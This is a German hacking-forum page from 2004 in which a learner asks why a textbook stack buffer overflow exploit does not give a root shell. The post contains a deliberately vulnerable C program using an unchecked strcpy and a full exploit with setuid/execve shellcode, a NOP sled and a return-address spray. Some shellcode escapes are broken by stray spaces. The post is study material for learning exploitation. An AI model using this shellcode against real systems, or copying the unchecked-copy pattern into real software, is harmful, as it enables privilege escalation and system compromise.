Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme.

Exploit

Diskussion: Exploit im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Ich habe einen Exploit für ein Beispielprogramm (aus einem Buch) und diese Exploit will einfach nich. laut Buch ist ...

Antwort
Alt 07.06.04, 18:13   #1 (permalink)
 
Registriert seit: 07.06.04
dbz42 Leistung: Facit NTK
Likes: 0
Smile Exploit

Anzeige

Ich habe einen Exploit für ein Beispielprogramm (aus einem Buch) und diese Exploit will einfach nich.

laut Buch ist die Ausgabe:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a#

bei mir:
ESP : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978 <- hier bleibt er stecken

nutze Suse9.0
Hoffe mir kann jemand helfen!

bsp. progi (over.c):

int main (int argc, char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;

exploit dazu:

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\ x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\ x4d\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\ x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{__asm__("movl %esp, %eax");} // um den Stack Pointer zur?ck zu geben

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset=0;
esp=sp();
ret=esp-offset;

printf("Stach Pointer (ESP): 0x%x\n",esp);
printf("Offset from ESP: 0x%x\n",offset);
printf("Desired Return Addr: 0x%x\n",ret);

//600 bytes reservieren
buffer = malloc(600);

//Gesamten Buffer mit der gew?nschten ret-Adresse f?llen
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<600;i+=4)
{*(addr_ptr++)=ret;}

//Die ersten 200 Bytes des Buffer mit Nop-Anweisungen f?llen
for(i=0;i<200;i++)
{buffer[i]='\x90';}

//Den Shellcode hinter Nop schreiben
ptr= buffer+200;
for(i=0;i<strlen(shellcode);i++)
{*(ptr++)=shellcode[i];}

//End the string
buffer[600-1]=0;

//Aufruf
execl("./over","over",buffer,0);
//Speicher freigeben
free(buffer);
return 0;
}

dbz42 ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Software Home » Code Kitchen » Exploit
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Exploit? ozeo (In)security allgemein 5 30.04.08 13:37
Exploit Aim devnull (In)security allgemein 5 27.10.05 18:20
exploit OmeGA Virenschutz · Tools & Aggressive Software 14 27.12.04 00:47
WKS Exploit gangstasta Code Kitchen 3 09.03.04 19:08


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61